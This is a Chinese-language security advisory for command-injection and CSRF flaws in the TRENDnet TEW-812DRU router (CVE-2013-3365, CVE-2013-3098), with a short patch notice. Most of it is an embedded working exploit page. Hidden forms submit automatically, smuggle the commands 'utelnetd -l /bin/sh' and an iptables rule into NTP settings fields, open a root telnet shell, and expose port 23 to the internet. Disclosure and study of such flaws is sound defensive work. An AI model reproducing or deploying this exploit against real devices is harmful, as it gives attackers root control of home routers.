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Trendnet TEW-812DRU多个命令注入漏洞(CVE-2013-3365)

发布日期：2013-07-28
更新日期：2013-07-30

受影响系统：
trendnet TEW-812DRU
描述：
BUGTRAQ  ID: 61492
CVE(CAN) ID: CVE-2013-3365

Trendnet TEW-812DRU是双宽带无线路由器。

TRENDnet TEW-812DRU允许攻击者在受影响设备上下文中执行任意命令。

<*来源：Jacob Holcomb
  *>

测试方法：

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

TRENDnet TEW-812DRU CSRF/Command Injection Root Exploit



EDB-ID: 27177     CVE: 2013-3098    OSVDB-ID: N/A
Author: Jacob Holcomb    Published: 2013-07-28    Verified: Not Verified
Exploit Code:   Download    Vulnerable App:   N/A    
Rating
Overall:
<html>
<head>
<title> TRENDnet TEW-812DRU CSRF - Command Injection > Shell Exploit.</title>
<!--
# CSRF Discovered by: Jacob Holcomb - Security Analyst @ Independent Security Evaluators
# Command Injection(s) Discovered by: Jacob Holcomb & Kedy Liu - Security Analysts @ Independent Security Evaluators
# Exploited by: Jacob Holcomb - Security Analyst @ Independnet Security Evaluators
# CVE: CSRF - CVE-2013-3098 & Multiple Command Injection - CVE-2013-3365
# http://infosec42.blogspot.com
# http://securityevaluators.com
-->
</head>
<body>
<img src="http://192.168.10.1/Images/logo.gif"><!--TRENDnet Logo for attack launch page -->
<h1>Please wait... </h1>
<script type="text/javascript">
//Request to enable port forwarding to the routers internal IP on port 23
//This exploit works without this request, but the exploit was more stable with it, so its included in thos PoC.
function RF1(){
    document.write('<form name="portfwd" target ="_blank" action="http://192.168.10.1/uapply.cgi" method="post">'+
    '<input type="hidden" name="page" value="/advanced/single_port.asp">'+
    '<input type="hidden" name="forward_port_enable" value="0">'+
    '<input type="hidden" name="forward_port" value="24">'+
    '<input type="hidden" name="forward_port_proto0" value="tcp">'+
    '<input type="hidden" name="forward_port_from_start0" value="23">'+
    '<input type="hidden" name="forward_port_from_end0" value="23">'+
    '<input type="hidden" name="forward_port_to_ip0" value="192.168.10.1">'+
    '<input type="hidden" name="forward_port_to_start0" value="23">'+
    '<input type="hidden" name="forward_port_to_end0" value="23">'+
    '<input type="hidden" name="schedule0" value="0">'+
    '<input type="hidden" name="forward_port_enable0" value="on">'+
    '<input tpye="hidden" name="action" value="Apply">'+
    '</form>');
}

//Request to enable telnet
function RF2(){
    document.write('<form name="enable23" target="_blank" action="http://192.168.10.1/setNTP.cgi" method="post">'+
    '<input type="hidden" name="page" value="/adm/time.asp">'+
    '<input type="hidden" name="DSTenable" value="on">'+
    '<input type="hidden" name="NtpDstEnable" value="1">'+
    '<input type="hidden" name="NtpDstOffset" value="`utelnetd -l /bin/sh`">'+
    '<input type="hidden" name="NtpDstStart" value="030102">'+
    '<input type="hidden" name="tz_daylight_start_month_select" value="03">'+
    '<input type="hidden" name="tz_daylight_start_day_select" value="01">'+
    '<input type="hidden" name="tz_daylight_start_time_select" value="02">'+
    '<input type="hidden" name="NtpDstEnd" value="100102">'+
    '<input type="hidden" name="tz_daylight_end_month_select" value="10">'+
    '<input type="hidden" name="tz_daylight_end_day_select" value="01">'+
    '<input type="hidden" name="tz_daylight_end_time_select" value="02">'+
    '<input type="hidden" name="ntp_server" value="1">'+
    '<input type="hidden" name="NTPServerIP" value="pool.ntp.org">'+
    '<input type="hidden" name="time_zone" value="UCT_-11">'+
    '<input type="hidden" name="timer_interval" value="300">'+
    '<input type="hidden" name="manual_year_select" value="2012">'+
    '<input type="hidden" name="manual_month_select" value="01">'+
    '<input type="hidden" name="manual_day_select" value="01">'+
    '<input type="hidden" name="manual_hour_select" value="00">'+
    '<input type="hidden" name="manual_min_select" value="19">'+
    '<input type="hidden" name="manual_sec_select" value="57">'+
    '<input type="hidden" name="timeTag" value="manual">'+
    '</form>');
}

//Request to change iptables to allow port 23 from the WAN.
function RF3(){
    document.write(
    '<form name="ipTableRule" target="_blank" action="http://192.168.10.1/setNTP.cgi" method="post">'+
    '<input type="hidden" name="page" value="/adm/time.asp">'+
    '<input type="hidden" name="DSTenable" value="on">'+
    '<input type="hidden" name="NtpDstEnable" value="1">'+
    '<input type="hidden" name="NtpDstOffset" value="3600">'+
    '<input type="hidden" name="NtpDstStart" value="030102">'+
    '<input type="hidden" name="tz_daylight_start_month_select" value="03">'+
    '<input type="hidden" name="tz_daylight_start_day_select" value="01">'+
    '<input type="hidden" name="tz_daylight_start_time_select" value="02">'+
    '<input type="hidden" name="NtpDstEnd" value="`count=0;while [ $count -le 25 ]; do iptables -I INPUT 1 -p tcp --dport 23 -j ACCEPT;(( count++ ));done;`">'+
    '<input type="hidden" name="tz_daylight_end_month_select" value="10">'+
    '<input type="hidden" name="tz_daylight_end_day_select" value="01">'+
    '<input type="hidden" name="tz_daylight_end_time_select" value="02">'+
    '<input type="hidden" name="ntp_server" value="1">'+
    '<input type="hidden" name="NTPServerIP" value="pool.ntp.org">'+
    '<input type="hidden" name="time_zone" value="UCT_-11">'+
    '<input type="hidden" name="timer_interval" value="300">'+
    '<input type="hidden" name="manual_year_select" value="2012">'+
    '<input type="hidden" name="manual_month_select" value="01">'+
    '<input type="hidden" name="manual_day_select" value="01">'+
    '<input type="hidden" name="manual_hour_select" value="00">'+
    '<input type="hidden" name="manual_min_select" value="19">'+
    '<input type="hidden" name="manual_sec_select" value="57">'+
    '<input type="hidden" name="timeTag" value="manual">'+
    '</form>');
}

function createPage(){
    RF1();
    RF2();
    RF3();
    document.write('<iframe src="http://192.168.10.1/" target="_blank" width="100%" height="100%" frameborder="0" style="border: 0; position:fixed; top:0; left:0; right:0; bottom:0;"></iframe>');
}

function _portfwd(){
    document.portfwd.submit();
}

function _enable23(){
    document.enable23.submit();
}

function _ipTableRule(){
    document.ipTableRule.submit();i
}

//Called Functions
createPage()
    
for(var i = 0; i < 3; i++){
    if(i == 0){
        window.setTimeout(_portfwd, 1000);
    }
    else if(i == 1){
        window.setTimeout(_enable23, 2000);
    }
    else if(i == 2){
        window.setTimeout(_ipTableRule, 4000);
    }
    else{
        continue;
    }
}
</script>
</body>
</html>








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&#169; Offensive Security 2013

建议：
厂商补丁：

trendnet
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.trendnet.com/products/proddetail.asp?prod=100_TEW-812DRU&cat=41

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